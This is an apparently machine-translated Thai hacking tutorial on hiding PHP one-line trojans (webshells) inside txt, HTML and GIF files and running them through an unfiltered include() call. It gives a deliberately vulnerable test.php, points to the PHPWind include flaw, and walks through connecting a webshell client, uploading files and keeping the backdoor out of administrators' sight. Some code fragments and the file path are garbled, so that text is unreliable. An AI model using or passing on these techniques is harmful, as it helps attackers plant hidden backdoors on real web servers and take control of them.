เมื่อเร็วๆ นี้ มีเพื่อนหลายคนถามฉันว่าฉันสามารถซ่อนโทรจันประโยคเดียวใน HTML หรือรูปภาพได้หรือไม่ ที่จริงแล้ว การแทรกโทรจันประโยคเดียวลงในไฟล์ PHP นั้นถูกซ่อนไว้อยู่แล้ว ถ้าฉันยืนกรานที่จะใส่มันลงในไฟล์ HTML หรือรูปภาพ มาอ่านรายงานการทดสอบนี้ต่อ คุณต้องรู้ว่าหากคุณใส่คำสั่ง PHP ลงในรูปภาพ มันจะไม่ถูกดำเนินการอีกต่อไป เนื่องจาก PHP จะแยกวิเคราะห์ไฟล์ที่มีนามสกุล php เท่านั้น ดังนั้นจึงจำเป็นต้องสามารถรันคำสั่ง PHP ที่ซ่อนอยู่ในภาพได้ เราแค่ใช้ฟังก์ชันการโทรใน PHP: include, need ฯลฯ
เรายังจำบทความเกี่ยวกับการซ่อนโทรจันในรูปภาพเมื่อไม่กี่วันก่อน นั่นคือ ใช้คำสั่งต่างๆ เช่น include("x.gif") ในไฟล์ PHP เพื่อเรียกคำสั่งม้าโทรจันที่ซ่อนอยู่ในภาพ คำสั่งใน ASP จะคล้ายกัน ดูเหมือนซ่อนเร้นมาก แต่ถ้าคุณเรียกรูปภาพโดยตรง ก็จะไม่ใช่เรื่องยากสำหรับคนที่รู้ PHP เพียงเล็กน้อยในการค้นหาสิ่งที่น่าสงสัย เนื่องจากเป็นการยากที่จะส่งผ่านพารามิเตอร์โดยใช้วิธี GET ใน URL ประสิทธิภาพของการแทรกโทรจันจึงไม่สามารถใช้งานได้อย่างเต็มที่
ฟังก์ชันรวมถูกใช้บ่อยใน PHP ดังนั้นจึงทำให้เกิดปัญหาด้านความปลอดภัยมากเกินไป ตัวอย่างเช่น ช่องโหว่ของ PHPWIND1.36 เกิดจากการขาดการกรองตัวแปรที่อยู่เบื้องหลังการรวม จากนี้เราสามารถสร้างคำสั่งที่คล้ายกันเพื่อแทรกลงในไฟล์ PHP ได้ จากนั้นซ่อนโทรจันไว้ในรูปภาพหรือไฟล์ HTML เรียกได้ว่าปกปิดได้มากกว่า ตัวอย่างเช่น แทรกข้อความต่อไปนี้ในฟอรัม PHPWIND: < ''?@include includ/.$PHPWIND_ROOT;? > ผู้ดูแลระบบทั่วไปไม่สามารถมองเห็นได้
ด้วยความช่วยเหลือของฟังก์ชันรวม เราสามารถซ่อนโทรจัน PHP ในไฟล์หลายประเภท เช่น ไฟล์ txt, html และไฟล์รูปภาพ เนื่องจากไฟล์ทั้งสามประเภทนี้ ได้แก่ ไฟล์ txt, html และรูปภาพ เป็นไฟล์ที่พบบ่อยที่สุดในฟอรัมและระบบบทความ เราจึงทำการทดสอบตามลำดับด้านล่าง
ขั้นแรกให้สร้างไฟล์ PHP test.php เนื้อหาของไฟล์คือ:
$test=$_GET['test'];
@include 'test/'.$test;
?>
โดยทั่วไปไฟล์ Txt จะเป็นไฟล์คำอธิบาย ดังนั้นเราจึงใส่ไฟล์ โทรจันประโยคเดียว คุณสามารถไปที่ไฟล์คำอธิบายของไดเร็กทอรีได้ เพียงสร้างไฟล์ TXT t.txt เราวางโทรจันประโยคเดียวลงในไฟล์ t.txt จากนั้นไปที่ http://localhost/test/test.php?test=../t.txt หากคุณเห็นเนื้อหาของ t.txt ก็ไม่เป็นไร จากนั้นเพิ่มที่อยู่โทรจันไคลเอ็นต์ lanker mini PHP ไปที่ http Just เพิ่ม cmd ให้กับรหัสผ่านของ ://localhost/test/test.php?test=../t.txt และคุณสามารถเห็นผลลัพธ์ที่ส่งคืนจากการดำเนินการ
สำหรับไฟล์ HTML โดยทั่วไปจะเป็นไฟล์เทมเพลต เพื่อให้ม้าโทรจันที่แทรกอยู่ในไฟล์ HTML สามารถเรียกและดำเนินการได้โดยไม่ต้องแสดง เราสามารถเพิ่มกล่องข้อความที่มีคุณสมบัติที่ซ่อนอยู่ใน HTML เช่น: จากนั้นใช้วิธีการเดียวกันกับข้างต้น โดยทั่วไปสามารถเห็นผลลัพธ์ที่ส่งคืนของการดำเนินการได้โดยการดูไฟล์ต้นฉบับ เช่น ใช้ฟังก์ชันดูไดเร็กทอรีของโปรแกรมนี้ เมื่อดูเนื้อหาไฟล์ต้นฉบับ ฉันสามารถรับไดเร็กทอรีเป็น C:Uniserver2_7swwwtest
ตอนนี้เรามาพูดถึงไฟล์รูปภาพกันดีกว่า เคล็ดลับที่อันตรายที่สุดคือการซ่อนม้าโทรจันในภาพ เราสามารถแก้ไขรูปภาพได้โดยตรงและแทรกไว้ที่ส่วนท้ายของรูปภาพ
โดยทั่วไปแล้วจะไม่ส่งผลกระทบต่อรูปภาพ จากนั้นเพิ่มที่อยู่โทรจันไคลเอนต์ในลักษณะเดียวกัน
และเราตรวจสอบตัวแปรสภาพแวดล้อม PHP ผลลัพธ์ที่ส่งคืนคือรูปภาพต้นฉบับ
อาจมีความแตกต่างบางประการระหว่างผลลัพธ์ที่นี่กับสิ่งที่เราจินตนาการไว้ จริงๆ แล้ว คำสั่งถูกเรียกใช้แล้ว แต่ผลลัพธ์ที่ส่งคืนไม่สามารถมองเห็นได้ เนื่องจากนี่คือไฟล์ GIF จริง ผลลัพธ์ที่ส่งคืนจะไม่แสดงขึ้นมา พิสูจน์ว่ามันถูกดำเนินการจริงหรือไม่ หลังจากได้รับคำสั่งแล้ว เราก็ดำเนินการคำสั่งอัพโหลดไฟล์ ตามที่คาดไว้ ไฟล์ได้รับการอัปโหลดไปยังเซิร์ฟเวอร์เรียบร้อยแล้ว ข้อดีของการปลอมแปลงดังกล่าวคือสามารถปกปิดได้ดี จำเป็นต้องพูดข้อเสียคือไม่มีการตอบสนอง หากคุณต้องการดูผลลัพธ์ที่ส่งคืน ให้นำ Notepad ออกและสร้างไฟล์รูปภาพปลอม
ณ จุดนี้ การทดสอบจะเสร็จสมบูรณ์โดยพื้นฐานแล้ว วิธีซ่อนแบ็คดอร์ PHP นั้นขึ้นอยู่กับตัวเลือกของคุณเอง รีบเขียนนะครับมีอะไรผิดโปรดชี้แนะด้วย!